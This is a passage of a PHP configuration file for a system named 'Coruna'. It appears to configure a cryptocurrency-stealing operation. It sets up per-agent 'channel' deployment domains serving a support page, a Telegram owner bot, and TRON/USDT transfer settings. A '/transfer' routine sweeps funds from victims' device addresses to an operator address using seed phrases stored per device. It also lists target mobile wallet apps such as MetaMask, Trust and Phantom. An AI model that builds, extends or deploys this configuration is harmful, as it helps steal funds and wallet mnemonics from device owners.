array_values(array_filter(array_map( 'trim', preg_split('/[\s,;]+/', $value) ?: [] ))); // Channel / deployment hosts (link display fallback + builder deployment_domains). $channelDomains = $parseDomains((string) env( 'CORUNA_LAB_CHANNEL_DOMAINS', env('CORUNA_DEPLOYMENT_DOMAINS', env('CORUNA_CHANNEL_DOMAINS', '')) )); // Reporting hosts passed to lab-web as reporting_domains. $adminDomains = $parseDomains((string) env( 'CORUNA_LAB_AMIDN_DOMAINS', env('CORUNA_REPORTING_DOMAINS', '') )); return [ 'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0) // channel_domains / deployment_domains: CORUNA_LAB_CHANNEL_DOMAINS (+ legacy aliases). 'channel_domains' => $channelDomains, 'deployment_domains' => $channelDomains, // reporting_domains: CORUNA_LAB_AMIDN_DOMAINS (+ legacy CORUNA_REPORTING_DOMAINS). 'reporting_domains' => $adminDomains, 'static_site' => [ // Optional complete origin/base path prepended before /channel/{id}/web/support.html. 'base_url' => rtrim((string) env('CORUNA_STATIC_SITE_BASE_URL', ''), '/'), 'scheme' => env('CORUNA_STATIC_SITE_SCHEME', 'https'), ], 'build_service' => [ // HTTP host for coruna-lab-web build API (create/delete channel assets). 'url' => rtrim((string) env('CORUNA_BUILD_SERVICE_URL', env('CORUNA_LAB_WEB_URL', '')), '/'), 'token' => env('CORUNA_BUILD_SERVICE_TOKEN', env('CORUNA_LAB_WEB_TOKEN', '')), 'connect_timeout' => (float) env('CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT', 5), 'timeout' => (float) env('CORUNA_BUILD_SERVICE_TIMEOUT', 600), ], 'channels' => [ // Max channel links per agent user (0 = official is unlimited). Overridable via settings. 'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5), ], // Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing // system paths with is_executable() under open_basedir (see CorunaArchive). 'seven_zip' => env('CORUNA_7Z_BIN', ''), 'telegram' => [ 'bot_token' => env('TELEGRAM_BOT_TOKEN'), 'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'), 'webhook_secret' => env('TELEGRAM_WEBHOOK_SECRET', ''), ], 'tokenview' => [ 'api_key' => env('TOKENVIEW_API_KEY', ''), 'sign_key' => env('TOKENVIEW_SIGN_KEY', ''), 'base_url' => env('TOKENVIEW_BASE_URL', 'https://services.tokenview.io/vipapi'), ], 'tron' => [ 'full_node' => env('TRON_FULL_NODE', 'https://api.trongrid.io'), 'api_key' => env('TRON_API_KEY', ''), 'usdt_contract' => env('TRON_USDT_CONTRACT', 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t'), 'fee_limit' => (int) env('TRON_FEE_LIMIT', 100_000_000), ], // /transfer: from = command arg (device address); to = TRANSFER_TO_ADDRESS. // Mnemonics resolved from wallet_mnemonics by address→device_id+source. 'transfer' => [ 'to_address' => env('TRANSFER_TO_ADDRESS', ''), 'max_usdt' => env('TRANSFER_MAX_USDT', '0'), 'max_trx' => env('TRANSFER_MAX_TRX', '0'), // BIP44 account index scan upper bound when matching fromAddress. 'max_derive_index' => (int) env('TRANSFER_MAX_DERIVE_INDEX', 20), // Leave this much TRX when transferring "all" native (bandwidth/energy fees). 'trx_fee_reserve' => env('TRANSFER_TRX_FEE_RESERVE', '1'), ], // reserved legacy payout addresses 'payout' => [ 'eth' => env('PAYOUT_ETH'), 'btc' => env('PAYOUT_BTC'), 'tron' => env('PAYOUT_TRON'), 'sol' => env('PAYOUT_SOL'), ], 'wallet_bundles' => [ 'im.token.app', 'io.metamask', 'com.wallet.crypto.trustapp', 'com.okex.wallet', 'com.coinbase.wallet', 'com.exodus', 'app.phantom', 'com.uniswap.mobile', 'com.tronlinkpro.wallet', 'com.mytonwallet.app', 'com.tonhub.app', 'com.tonkeeper.app', 'vip.mytokenpocket', 'com.bitkeep.wallet', 'com.bitpie', 'com.coin98', 'com.solflare.mobile', 'com.roninchain.wallet', 'com.krystal.wallet', ], ];